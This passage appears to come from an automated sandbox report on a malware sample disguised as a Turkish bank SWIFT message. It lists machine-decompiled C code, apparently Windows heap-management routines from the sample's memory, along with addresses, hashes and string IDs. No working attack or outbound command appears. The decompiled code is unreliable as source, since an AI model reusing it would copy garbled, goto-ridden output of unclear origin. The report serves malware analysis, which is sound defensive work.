				_v8 =  *0x136d360 ^ _t433;
				_v40 = __ecx;
				_v16 = __edx;
				_t289 = 0x4cb2f;
				_t425 = __edx[1];
				_t403 =  *__edx << 2;
				if(_t403 < 8) {
					L3:
					_t404 = _t403 - 1;
					if(_t404 == 0) {
						L16:
						_t289 = _t289 * 0x25 + ( *_t425 & 0x000000ff);
						L17:
						_t426 = _v40;
						_v20 = _t426 + 0x1c;
						_t177 = L0129FAD0(_t426 + 0x1c);
						_t385 = 0;
						while(1) {
							L18:
							_t405 =  *(_t426 + 4);
							_t179 = (_t177 | 0xffffffff) << (_t405 & 0x0000001f);
							_t316 = _t289 & _t179;
							_v24 = _t179;
							_v32 = _t316;
							_v12 = _t316 >> 0x18;
							_v36 = _t316 >> 0x10;
							_v28 = _t316 >> 8;
							if(_t385 != 0) {
								goto L21;
							}
							_t418 = _t405 >> 5;
							if(_t418 == 0) {
								_t406 = 0;
								L31:
								if(_t406 == 0) {
									L35:
									E0129FA00(_t289, _t316, _t406, _t426 + 0x1c);
									 *0x136b1e0(0xc +  *_v16 * 4,  *((intOrPtr*)(_t426 + 0x28)));
									_t319 =  *((intOrPtr*)( *((intOrPtr*)(_t426 + 0x20))))();
									_v36 = _t319;
									if(_t319 != 0) {
										asm("stosd");
										asm("stosd");
										asm("stosd");
										_t408 = _v16;
										 *(_t319 + 8) =  *(_t319 + 8) & 0xff000001 | 0x00000001;
										 *((char*)(_t319 + 0xb)) =  *_v16;
										 *(_t319 + 4) = _t289;
										_t53 = _t319 + 0xc; // 0xc
										E01292280(E012BF3E0(_t53,  *((intOrPtr*)(_v16 + 4)),  *_v16 << 2), _v20);
										_t428 = _v40;
										_t386 = 0;
										while(1) {
											L38:
											_t202 =  *(_t428 + 4);
											_v16 = _v16 | 0xffffffff;
											_v16 = _v16 << (_t202 & 0x0000001f);
											_t323 = _v16 & _t289;
											_v20 = _t323;
											_v20 = _v20 >> 0x18;
											_v28 = _t323;
											_v28 = _v28 >> 0x10;
											_v12 = _t323;
											_v12 = _v12 >> 8;
											_v32 = _t323;
											if(_t386 != 0) {
												goto L41;
											}
											_t247 = _t202 >> 5;
											_v24 = _t247;
											if(_t247 == 0) {
												_t412 = 0;
												L50:
												if(_t412 == 0) {
													L53:
													_t291 =  *(_t428 + 4);
													_v28 =  *((intOrPtr*)(_t428 + 0x28));
													_v44 =  *(_t428 + 0x24);
													_v32 =  *((intOrPtr*)(_t428 + 0x20));
													_t207 = _t291 >> 5;
													if( *_t428 < _t207 + _t207) {
														L74:
														_t430 = _t291 >> 5;
														_t293 = _v36;
														_t210 = (_t207 | 0xffffffff) << (_t291 & 0x0000001f) &  *(_t293 + 4);
														_v44 = _t210;
														_t159 = _t430 - 1; // 0xffffffdf
														_t428 = _v40;
														_t330 =  *(_t428 + 8);
														_t386 = _t159 & (_v44 >> 0x00000018) + ((_v44 >> 0x00000010 & 0x000000ff) + ((_t210 >> 0x00000008 & 0x000000ff) + ((_t210 & 0x000000ff) + 0x00b15dcb) * 0x00000025) * 0x00000025) * 0x00000025;
														_t412 = _t293;
														 *_t293 =  *(_t330 + _t386 * 4);
														 *(_t330 + _t386 * 4) = _t293;
														 *_t428 =  *_t428 + 1;
														_t289 = 0;
														L75:
														E0128FFB0(_t289, _t412, _t428 + 0x1c);
														if(_t289 != 0) {
															_t428 =  *(_t428 + 0x24);
															 *0x136b1e0(_t289,  *((intOrPtr*)(_t428 + 0x28)));
															 *_t428();
														}
														L77:
														return E012BB640(_t412, _t289, _v8 ^ _t433, _t386, _t412, _t428);
													}
													_t334 = 2;
													_t207 = E012AF3D5( &_v24, _t207 * _t334, _t207 * _t334 >> 0x20);
													if(_t207 < 0) {
														goto L74;
													}
													_t413 = _v24;
													if(_t413 < 4) {
														_t413 = 4;
													}
													 *0x136b1e0(_t413 << 2, _v28);
													_t207 =  *_v32();
													_t386 = _t207;
													_v16 = _t386;
													if(_t386 == 0) {
														_t291 =  *(_t428 + 4);
														if(_t291 >= 0x20) {
															goto L74;
														}
														_t289 = _v36;
														_t412 = 0;
														goto L75;
													} else {
														_t108 = _t413 - 1; // 0x3
														_t337 = _t108;
														if((_t413 & _t337) == 0) {
															L62:
															if(_t413 > 0x4000000) {
																_t413 = 0x4000000;
															}
															_t295 = _t386;
															_v24 = _v24 & 0x00000000;
															_t392 = _t413 << 2;
															_t230 = _t428 | 0x00000001;
															_t393 = _t392 >> 2;
															asm("sbb ecx, ecx");
															_t341 =  !(_v16 + _t392) & _t393;
															if(_t341 <= 0) {
																L67:
																_t395 = (_t393 | 0xffffffff) << ( *(_t428 + 4) & 0x0000001f);
																_v32 = _t395;
																_v20 = 0;
																if(( *(_t428 + 4) & 0xffffffe0) <= 0) {
																	L72:
																	_t345 =  *(_t428 + 8);
																	_t207 = _v16;
																	_t291 =  *(_t428 + 4) & 0x0000001f | _t413 << 0x00000005;
																	 *(_t428 + 8) = _t207;
																	 *(_t428 + 4) = _t291;
																	if(_t345 != 0) {
																		 *0x136b1e0(_t345, _v28);
																		_t207 =  *_v44();
																		_t291 =  *(_t428 + 4);
																	}
																	goto L74;
																} else {
																	goto L68;
																}
																do {
																	L68:
																	_t298 =  *(_t428 + 8);
																	_t431 = _v20;
																	_v12 = _t298;
																	while(1) {
																		_t347 =  *(_t298 + _t431 * 4);
																		_v24 = _t347;
																		if((_t347 & 0x00000001) != 0) {
																			goto L71;
																		}
																		 *(_t298 + _t431 * 4) =  *_t347;
																		_t300 =  *(_t347 + 4) & _t395;
																		_t398 = _v16;
																		_t353 = _t413 - 0x00000001 & (( *(_t347 + 4) & _t395) >> 0x00000018) + ((( *(_t347 + 4) & _t395) >> 0x00000010 & 0x000000ff) + ((( *(_t347 + 4) & _t395) >> 0x00000008 & 0x000000ff) + ((_t300 & 0x000000ff) + 0x00b15dcb) * 0x00000025) * 0x00000025) * 0x00000025;
																		_t303 = _v24;
																		 *_t303 =  *((intOrPtr*)(_t398 + _t353 * 4));
																		 *((intOrPtr*)(_t398 + _t353 * 4)) = _t303;
																		_t395 = _v32;
																		_t298 = _v12;
																	}
																	L71:
																	_v20 = _t431 + 1;
																	_t428 = _v40;
																} while (_v20 <  *(_t428 + 4) >> 5);
																goto L72;
															} else {
																_t399 = _v24;
																do {
																	_t399 = _t399 + 1;
																	 *_t295 = _t230;
																	_t295 = _t295 + 4;
																} while (_t399 < _t341);
																goto L67;
															}
														}
														_t354 = _t337 | 0xffffffff;
														if(_t413 == 0) {
															L61:
															_t413 = 1 << _t354;
															goto L62;
														} else {
															goto L60;
														}
														do {
															L60:
															_t354 = _t354 + 1;
															_t413 = _t413 >> 1;
														} while (_t413 != 0);
														goto L61;
													}
												}
												_t89 = _t412 + 8; // 0x8
												_t244 = E0134E7A8(_t89);
												_t289 = _v36;
												if(_t244 == 0) {
													_t412 = 0;
												}
												goto L75;
											}
											_t386 =  *(_t428 + 8) + (_v24 - 0x00000001 & (_v20 & 0x000000ff) + 0x164b2f3f + (((_t323 & 0x000000ff) * 0x00000025 + (_v12 & 0x000000ff)) * 0x00000025 + (_v28 & 0x000000ff)) * 0x00000025) * 4;
											_t323 = _v32;
											while(1) {
												L41:
												_t386 =  *_t386;
												_v12 = _t386;
												if((_t386 & 0x00000001) != 0) {
													break;
												}
												if(_t323 == ( *(_t386 + 4) & _v16)) {
													L45:
													if(_t386 == 0) {
														goto L53;
													}
													if(E0134E7EB(_t386, _t408) != 0) {
														_t412 = _v12;
														goto L50;
													}
													_t386 = _v12;
													goto L38;
												}
											}
											_t386 = 0;
											_v12 = 0;
											goto L45;
										}
									}
									_t412 = 0;
									goto L77;
								}
								_t38 = _t406 + 8; // 0x8
								_t364 = _t38;
								if(E0134E7A8(_t38) == 0) {
									_t406 = 0;
								}
								E0129FA00(_t289, _t364, _t406, _v20);
								goto L77;
							}
							_t24 = _t418 - 1; // -1
							_t385 =  *((intOrPtr*)(_t426 + 8)) + (_t24 & (_v12 & 0x000000ff) + 0x164b2f3f + (((_t316 & 0x000000ff) * 0x00000025 + (_v28 & 0x000000ff)) * 0x00000025 + (_v36 & 0x000000ff)) * 0x00000025) * 4;
							_t316 = _v32;
							L21:
							_t406 = _v24;
							while(1) {
								_t385 =  *_t385;
								_v12 = _t385;
								if((_t385 & 0x00000001) != 0) {
									break;
								}
								if(_t316 == ( *(_t385 + 4) & _t406)) {
									L26:
									if(_t385 == 0) {
										goto L35;
									}
									_t177 = E0134E7EB(_t385, _v16);
									if(_t177 != 0) {
										_t406 = _v12;
										goto L31;
									}
									_t385 = _v12;
									goto L18;
								}
							}
							_t385 = 0;
							_v12 = 0;
							goto L26;
						}
					}
					_t419 = _t404 - 1;
					if(_t419 == 0) {
						L15:
						_t289 = _t289 * 0x25 + ( *_t425 & 0x000000ff);
						_t425 =  &(_t425[1]);
						goto L16;
					}
					_t420 = _t419 - 1;
					if(_t420 == 0) {
						L14:
						_t289 = _t289 * 0x25 + ( *_t425 & 0x000000ff);
						_t425 =  &(_t425[1]);
						goto L15;
					}
					_t421 = _t420 - 1;
					if(_t421 == 0) {
						L13:
						_t289 = _t289 * 0x25 + ( *_t425 & 0x000000ff);
						_t425 =  &(_t425[1]);
						goto L14;
					}
					_t422 = _t421 - 1;
					if(_t422 == 0) {
						L12:
						_t289 = _t289 * 0x25 + ( *_t425 & 0x000000ff);
						_t425 =  &(_t425[1]);
						goto L13;
					}
					_t423 = _t422 - 1;
					if(_t423 == 0) {
						L11:
						_t289 = _t289 * 0x25 + ( *_t425 & 0x000000ff);
						_t425 =  &(_t425[1]);
						goto L12;
					}
					if(_t423 != 1) {
						goto L17;
					} else {
						_t289 = _t289 * 0x25 + ( *_t425 & 0x000000ff);
						_t425 =  &(_t425[1]);
						goto L11;
					}
				} else {
					_t401 = _t403 >> 3;
					_t403 = _t403 + _t401 * 0xfffffff8;
					do {
						_t383 = ((((((_t425[1] & 0x000000ff) * 0x25 + (_t425[2] & 0x000000ff)) * 0x25 + (_t425[3] & 0x000000ff)) * 0x25 + (_t425[4] & 0x000000ff)) * 0x25 + (_t425[5] & 0x000000ff)) * 0x25 + (_t425[6] & 0x000000ff)) * 0x25 - _t289 * 0x2fe8ed1f;
						_t310 = ( *_t425 & 0x000000ff) * 0x1a617d0d;
						_t288 = _t425[7] & 0x000000ff;
						_t425 =  &(_t425[8]);
						_t289 = _t310 + _t383 + _t288;
						_t401 = _t401 - 1;
					} while (_t401 != 0);
					goto L3;
				}
			}






































































                                                                        0x0134e833
                                                                        0x0134e839
                                                                        0x0134e83e
                                                                        0x0134e841
                                                                        0x0134e848
                                                                        0x0134e84b
                                                                        0x0134e851
                                                                        0x0134e8b2
                                                                        0x0134e8b2
                                                                        0x0134e8b5
                                                                        0x0134e90b
                                                                        0x0134e911
                                                                        0x0134e913
                                                                        0x0134e913
                                                                        0x0134e91a
                                                                        0x0134e91d
                                                                        0x0134e922
                                                                        0x0134e924
                                                                        0x0134e924
                                                                        0x0134e924
                                                                        0x0134e92f
                                                                        0x0134e933
                                                                        0x0134e935
                                                                        0x0134e93a
                                                                        0x0134e940
                                                                        0x0134e948
                                                                        0x0134e950
                                                                        0x0134e955
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0134e957
                                                                        0x0134e95c
                                                                        0x0134e9cb
                                                                        0x0134e9d2
                                                                        0x0134e9d4
                                                                        0x0134e9f2
                                                                        0x0134e9f6
                                                                        0x0134ea10
                                                                        0x0134ea18
                                                                        0x0134ea1a
                                                                        0x0134ea1f
                                                                        0x0134ea2c
                                                                        0x0134ea2d
                                                                        0x0134ea2e
                                                                        0x0134ea32
                                                                        0x0134ea3d
                                                                        0x0134ea42
                                                                        0x0134ea45
                                                                        0x0134ea51
                                                                        0x0134ea60
                                                                        0x0134ea65
                                                                        0x0134ea68
                                                                        0x0134ea6a
                                                                        0x0134ea6a
                                                                        0x0134ea6a
                                                                        0x0134ea6f
                                                                        0x0134ea76
                                                                        0x0134ea7c
                                                                        0x0134ea7e
                                                                        0x0134ea81
                                                                        0x0134ea85
                                                                        0x0134ea88
                                                                        0x0134ea8c
                                                                        0x0134ea8f
                                                                        0x0134ea93
                                                                        0x0134ea98
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0134ea9a
                                                                        0x0134ea9d
                                                                        0x0134eaa2
                                                                        0x0134eb0e
                                                                        0x0134eb15
                                                                        0x0134eb17
                                                                        0x0134eb33
                                                                        0x0134eb36
                                                                        0x0134eb39
                                                                        0x0134eb3f
                                                                        0x0134eb45
                                                                        0x0134eb4a
                                                                        0x0134eb52
                                                                        0x0134ecb1
                                                                        0x0134ecb9
                                                                        0x0134ecbe
                                                                        0x0134ecc3
                                                                        0x0134ecc6
                                                                        0x0134eceb
                                                                        0x0134ecee
                                                                        0x0134ecf9
                                                                        0x0134ecfe
                                                                        0x0134ed00
                                                                        0x0134ed05
                                                                        0x0134ed07
                                                                        0x0134ed0a
                                                                        0x0134ed0c
                                                                        0x0134ed0e
                                                                        0x0134ed12
                                                                        0x0134ed19
                                                                        0x0134ed1e
                                                                        0x0134ed24
                                                                        0x0134ed2a
                                                                        0x0134ed2a
                                                                        0x0134ed2c
                                                                        0x0134ed3e
                                                                        0x0134ed3e
                                                                        0x0134eb5a
                                                                        0x0134eb62
                                                                        0x0134eb69
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0134eb6f
                                                                        0x0134eb75
                                                                        0x0134eb79
                                                                        0x0134eb79
                                                                        0x0134eb88
                                                                        0x0134eb8e
                                                                        0x0134eb90
                                                                        0x0134eb92
                                                                        0x0134eb97
                                                                        0x0134ed3f
                                                                        0x0134ed45
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0134ed4b
                                                                        0x0134ed4e
                                                                        0x00000000
                                                                        0x0134eb9d
                                                                        0x0134eb9d
                                                                        0x0134eb9d
                                                                        0x0134eba2
                                                                        0x0134ebb5
                                                                        0x0134ebbc
                                                                        0x0134ebbe
                                                                        0x0134ebbe
                                                                        0x0134ebc3
                                                                        0x0134ebc5
                                                                        0x0134ebcb
                                                                        0x0134ebd2
                                                                        0x0134ebd5
                                                                        0x0134ebdb
                                                                        0x0134ebdf
                                                                        0x0134ebe1
                                                                        0x0134ebf0
                                                                        0x0134ebf9
                                                                        0x0134ec04
                                                                        0x0134ec07
                                                                        0x0134ec0a
                                                                        0x0134ec82
                                                                        0x0134ec85
                                                                        0x0134ec8b
                                                                        0x0134ec91
                                                                        0x0134ec93
                                                                        0x0134ec96
                                                                        0x0134ec9b
                                                                        0x0134eca6
                                                                        0x0134ecac
                                                                        0x0134ecae
                                                                        0x0134ecae
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0134ec0c
                                                                        0x0134ec0c
                                                                        0x0134ec0c
                                                                        0x0134ec0f
                                                                        0x0134ec12
                                                                        0x0134ec15
                                                                        0x0134ec15
                                                                        0x0134ec18
                                                                        0x0134ec1e
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0134ec22
                                                                        0x0134ec28
                                                                        0x0134ec4b
                                                                        0x0134ec5b
                                                                        0x0134ec5d
                                                                        0x0134ec63
                                                                        0x0134ec65
                                                                        0x0134ec68
                                                                        0x0134ec6b
                                                                        0x0134ec6b
                                                                        0x0134ec70
                                                                        0x0134ec71
                                                                        0x0134ec74
                                                                        0x0134ec7d
                                                                        0x00000000
                                                                        0x0134ebe3
                                                                        0x0134ebe3
                                                                        0x0134ebe6
                                                                        0x0134ebe6
                                                                        0x0134ebe7
                                                                        0x0134ebe9
                                                                        0x0134ebec
                                                                        0x00000000
                                                                        0x0134ebe6
                                                                        0x0134ebe1
                                                                        0x0134eba4
                                                                        0x0134eba9
                                                                        0x0134ebb0
                                                                        0x0134ebb3
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0134ebab
                                                                        0x0134ebab
                                                                        0x0134ebab
                                                                        0x0134ebac
                                                                        0x0134ebac
                                                                        0x00000000
                                                                        0x0134ebab
                                                                        0x0134eb97
                                                                        0x0134eb19
                                                                        0x0134eb1c
                                                                        0x0134eb21
                                                                        0x0134eb26
                                                                        0x0134eb2c
                                                                        0x0134eb2c
                                                                        0x00000000
                                                                        0x0134eb26
                                                                        0x0134ead6
                                                                        0x0134ead9
                                                                        0x0134eadc
                                                                        0x0134eadc
                                                                        0x0134eadc
                                                                        0x0134eade
                                                                        0x0134eae4
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0134eaee
                                                                        0x0134eaf7
                                                                        0x0134eaf9
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0134eb04
                                                                        0x0134eb12
                                                                        0x00000000
                                                                        0x0134eb12
                                                                        0x0134eb06
                                                                        0x00000000
                                                                        0x0134eb06
                                                                        0x0134eaf0
                                                                        0x0134eaf2
                                                                        0x0134eaf4
                                                                        0x00000000
                                                                        0x0134eaf4
                                                                        0x0134ea6a
                                                                        0x0134ea21
                                                                        0x00000000
                                                                        0x0134ea21
                                                                        0x0134e9d6
                                                                        0x0134e9d6
                                                                        0x0134e9e0
                                                                        0x0134e9e2
                                                                        0x0134e9e2
                                                                        0x0134e9e8
                                                                        0x00000000
                                                                        0x0134e9e8
                                                                        0x0134e987
                                                                        0x0134e98f
                                                                        0x0134e992
                                                                        0x0134e995
                                                                        0x0134e995
                                                                        0x0134e998
                                                                        0x0134e998
                                                                        0x0134e99a
                                                                        0x0134e9a0
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0134e9a9
                                                                        0x0134e9b2
                                                                        0x0134e9b4
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0134e9ba
                                                                        0x0134e9c1
                                                                        0x0134e9cf
                                                                        0x00000000
                                                                        0x0134e9cf
                                                                        0x0134e9c3
                                                                        0x00000000
                                                                        0x0134e9c3
                                                                        0x0134e9ab
                                                                        0x0134e9ad
                                                                        0x0134e9af
                                                                        0x00000000
                                                                        0x0134e9af
                                                                        0x0134e924
                                                                        0x0134e8b7
                                                                        0x0134e8ba
                                                                        0x0134e902
                                                                        0x0134e908
                                                                        0x0134e90a
                                                                        0x00000000
                                                                        0x0134e90a
                                                                        0x0134e8bc
                                                                        0x0134e8bf
                                                                        0x0134e8f9
                                                                        0x0134e8ff
                                                                        0x0134e901
                                                                        0x00000000
                                                                        0x0134e901
                                                                        0x0134e8c1
                                                                        0x0134e8c4
                                                                        0x0134e8f0
                                                                        0x0134e8f6
                                                                        0x0134e8f8
                                                                        0x00000000
                                                                        0x0134e8f8
                                                                        0x0134e8c6
                                                                        0x0134e8c9
                                                                        0x0134e8e7
                                                                        0x0134e8ed
                                                                        0x0134e8ef
                                                                        0x00000000
                                                                        0x0134e8ef
                                                                        0x0134e8cb
                                                                        0x0134e8ce
                                                                        0x0134e8de
                                                                        0x0134e8e4
                                                                        0x0134e8e6
                                                                        0x00000000
                                                                        0x0134e8e6
                                                                        0x0134e8d3
                                                                        0x00000000
                                                                        0x0134e8d5
                                                                        0x0134e8db
                                                                        0x0134e8dd
                                                                        0x00000000
                                                                        0x0134e8dd
                                                                        0x0134e853
                                                                        0x0134e855
                                                                        0x0134e85b
                                                                        0x0134e85d
                                                                        0x0134e897
                                                                        0x0134e89c
                                                                        0x0134e8a2
                                                                        0x0134e8a6
                                                                        0x0134e8ab
                                                                        0x0134e8ad
                                                                        0x0134e8ad
                                                                        0x00000000
                                                                        0x0134e85d

                                                                        APIs
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: DebugPrintTimes
                                                                        • String ID:
                                                                        • API String ID: 3446177414-0
                                                                        • Opcode ID: 9e4871cce89808c24f675dfae6834766eb4f3d16a2d216d84fb0bfce131b2c1c
                                                                        • Instruction ID: 6c554ee87336224aab0056a6d2a2cec833d9511328dbccb4ef00116ccac26d66
                                                                        • Opcode Fuzzy Hash: 9e4871cce89808c24f675dfae6834766eb4f3d16a2d216d84fb0bfce131b2c1c
                                                                        • Instruction Fuzzy Hash: A502A072E006169FDB18CFADC89167EBBF6BF88204B19817DD496DB781D638E901CB50
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012740E1 Relevance: 6.3, Strings: 5, Instructions: 51COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 29%
                                                                        			E012740E1(void* __edx) {
				void* _t19;
				void* _t29;

				_t28 = _t19;
				_t29 = __edx;
				if( *((intOrPtr*)(_t19 + 0x60)) != 0xeeffeeff) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						E0127B150();
					} else {
						E0127B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E0127B150("Invalid heap signature for heap at %p", _t28);
					if(_t29 != 0) {
						E0127B150(", passed to %s", _t29);
					}
					_push("\n");
					E0127B150();
					if( *((char*)( *[fs:0x30] + 2)) != 0) {
						 *0x1366378 = 1;
						asm("int3");
						 *0x1366378 = 0;
					}
					return 0;
				}
				return 1;
			}





                                                                        0x012740e6
                                                                        0x012740e8
                                                                        0x012740f1
                                                                        0x012d042d
                                                                        0x012d044c
                                                                        0x012d0451
                                                                        0x012d042f
                                                                        0x012d0444
                                                                        0x012d0449
                                                                        0x012d045d
                                                                        0x012d0466
                                                                        0x012d046e
                                                                        0x012d0474
                                                                        0x012d0475
                                                                        0x012d047a
                                                                        0x012d048a
                                                                        0x012d048c
                                                                        0x012d0493
                                                                        0x012d0494
                                                                        0x012d0494
                                                                        0x00000000
                                                                        0x012d049b
                                                                        0x00000000

                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlAllocateHeap
                                                                        • API String ID: 0-188067316
                                                                        • Opcode ID: c9a4efdf0030f51997e51a4b7358849494266bf75c281d88c2830864c9cab77e
                                                                        • Instruction ID: e5ce2e7bf6f163c3734571d6c3f3dd972d1953708f7a20ca331f029cbafa0749
                                                                        • Opcode Fuzzy Hash: c9a4efdf0030f51997e51a4b7358849494266bf75c281d88c2830864c9cab77e
                                                                        • Instruction Fuzzy Hash: C2017032130251AEE3299769F44EF637BA4DF41F30F28802DF50457661EAF49440C619
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0129A830 Relevance: 5.4, Strings: 4, Instructions: 350COMMONCrypto
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 70%
                                                                        			E0129A830(intOrPtr __ecx, signed int __edx, signed short _a4) {
				void* _v5;
				signed short _v12;
				intOrPtr _v16;
				signed int _v20;
				signed short _v24;
				signed short _v28;
				signed int _v32;
				signed short _v36;
				signed int _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				signed short* _v52;
				void* __ebx;
				void* __edi;
				void* __ebp;
				signed int _t131;
				signed char _t134;
				signed int _t138;
				char _t141;
				signed short _t142;
				void* _t146;
				signed short _t147;
				intOrPtr* _t149;
				intOrPtr _t156;
				signed int _t167;
				signed int _t168;
				signed short* _t173;
				signed short _t174;
				intOrPtr* _t182;
				signed short _t184;
				intOrPtr* _t187;
				intOrPtr _t197;
				intOrPtr _t206;
				intOrPtr _t210;
				signed short _t211;
				intOrPtr* _t212;
				signed short _t214;
				signed int _t216;
				intOrPtr _t217;
				signed char _t225;
				signed short _t235;
				signed int _t237;
				intOrPtr* _t238;
				signed int _t242;
				unsigned int _t245;
				signed int _t251;
				intOrPtr* _t252;
				signed int _t253;
				intOrPtr* _t255;
				signed int _t256;
				void* _t257;
				void* _t260;

				_t256 = __edx;
				_t206 = __ecx;
				_t235 = _a4;
				_v44 = __ecx;
				_v24 = _t235;
				if(_t235 == 0) {
					L41:
					return _t131;
				}
				_t251 = ( *(__edx + 4) ^  *(__ecx + 0x54)) & 0x0000ffff;
				if(_t251 == 0) {
					__eflags =  *0x1368748 - 1;
					if( *0x1368748 >= 1) {
						__eflags =  *(__edx + 2) & 0x00000008;
						if(( *(__edx + 2) & 0x00000008) == 0) {
							_t110 = _t256 + 0xfff; // 0xfe7
							__eflags = (_t110 & 0xfffff000) - __edx;
							if((_t110 & 0xfffff000) != __edx) {
								_t197 =  *[fs:0x30];
								__eflags =  *(_t197 + 0xc);
								if( *(_t197 + 0xc) == 0) {
									_push("HEAP: ");
									E0127B150();
									_t260 = _t257 + 4;
								} else {
									E0127B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
									_t260 = _t257 + 8;
								}
								_push("((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock))");
								E0127B150();
								_t257 = _t260 + 4;
								__eflags =  *0x1367bc8;
								if(__eflags == 0) {
									E01332073(_t206, 1, _t251, __eflags);
								}
								_t235 = _v24;
							}
						}
					}
				}
				_t134 =  *((intOrPtr*)(_t256 + 6));
				if(_t134 == 0) {
					_t210 = _t206;
					_v48 = _t206;
				} else {
					_t210 = (_t256 & 0xffff0000) - ((_t134 & 0x000000ff) << 0x10) + 0x10000;
					_v48 = _t210;
				}
				_v5 =  *(_t256 + 2);
				do {
					if(_t235 > 0xfe00) {
						_v12 = 0xfe00;
						__eflags = _t235 - 0xfe01;
						if(_t235 == 0xfe01) {
							_v12 = 0xfdf0;
						}
						_t138 = 0;
					} else {
						_v12 = _t235 & 0x0000ffff;
						_t138 = _v5;
					}
					 *(_t256 + 2) = _t138;
					 *(_t256 + 4) =  *(_t206 + 0x54) ^ _t251;
					_t236 =  *((intOrPtr*)(_t210 + 0x18));
					if( *((intOrPtr*)(_t210 + 0x18)) == _t210) {
						_t141 = 0;
					} else {
						_t141 = (_t256 - _t210 >> 0x10) + 1;
						_v40 = _t141;
						if(_t141 >= 0xfe) {
							_push(_t210);
							E0133A80D(_t236, _t256, _t210, 0);
							_t141 = _v40;
						}
					}
					 *(_t256 + 2) =  *(_t256 + 2) & 0x000000f0;
					 *((char*)(_t256 + 6)) = _t141;
					_t142 = _v12;
					 *_t256 = _t142;
					 *(_t256 + 3) = 0;
					_t211 = _t142 & 0x0000ffff;
					 *((char*)(_t256 + 7)) = 0;
					_v20 = _t211;
					if(( *(_t206 + 0x40) & 0x00000040) != 0) {
						_t119 = _t256 + 0x10; // -8
						E012CD5E0(_t119, _t211 * 8 - 0x10, 0xfeeefeee);
						 *(_t256 + 2) =  *(_t256 + 2) | 0x00000004;
						_t211 = _v20;
					}
					_t252 =  *((intOrPtr*)(_t206 + 0xb4));
					if(_t252 == 0) {
						L56:
						_t212 =  *((intOrPtr*)(_t206 + 0xc0));
						_t146 = _t206 + 0xc0;
						goto L19;
					} else {
						if(_t211 <  *((intOrPtr*)(_t252 + 4))) {
							L15:
							_t185 = _t211;
							goto L17;
						} else {
							while(1) {
								_t187 =  *_t252;
								if(_t187 == 0) {
									_t185 =  *((intOrPtr*)(_t252 + 4)) - 1;
									__eflags =  *((intOrPtr*)(_t252 + 4)) - 1;
									goto L17;
								}
								_t252 = _t187;
								if(_t211 >=  *((intOrPtr*)(_t252 + 4))) {
									continue;
								}
								goto L15;
							}
							while(1) {
								L17:
								_t212 = E0129AB40(_t206, _t252, 1, _t185, _t211);
								if(_t212 != 0) {
									_t146 = _t206 + 0xc0;
									break;
								}
								_t252 =  *_t252;
								_t211 = _v20;
								_t185 =  *(_t252 + 0x14);
							}
							L19:
							if(_t146 != _t212) {
								_t237 =  *(_t206 + 0x4c);
								_t253 = _v20;
								while(1) {
									__eflags = _t237;
									if(_t237 == 0) {
										_t147 =  *(_t212 - 8) & 0x0000ffff;
									} else {
										_t184 =  *(_t212 - 8);
										_t237 =  *(_t206 + 0x4c);
										__eflags = _t184 & _t237;
										if((_t184 & _t237) != 0) {
											_t184 = _t184 ^  *(_t206 + 0x50);
											__eflags = _t184;
										}
										_t147 = _t184 & 0x0000ffff;
									}
									__eflags = _t253 - (_t147 & 0x0000ffff);
									if(_t253 <= (_t147 & 0x0000ffff)) {
										goto L20;
									}
									_t212 =  *_t212;
									__eflags = _t206 + 0xc0 - _t212;
									if(_t206 + 0xc0 != _t212) {
										continue;
									} else {
										goto L20;
									}
									goto L56;
								}
							}
							L20:
							_t149 =  *((intOrPtr*)(_t212 + 4));
							_t33 = _t256 + 8; // -16
							_t238 = _t33;
							_t254 =  *_t149;
							if( *_t149 != _t212) {
								_push(_t212);
								E0133A80D(0, _t212, 0, _t254);
							} else {
								 *_t238 = _t212;
								 *((intOrPtr*)(_t238 + 4)) = _t149;
								 *_t149 = _t238;
								 *((intOrPtr*)(_t212 + 4)) = _t238;
							}
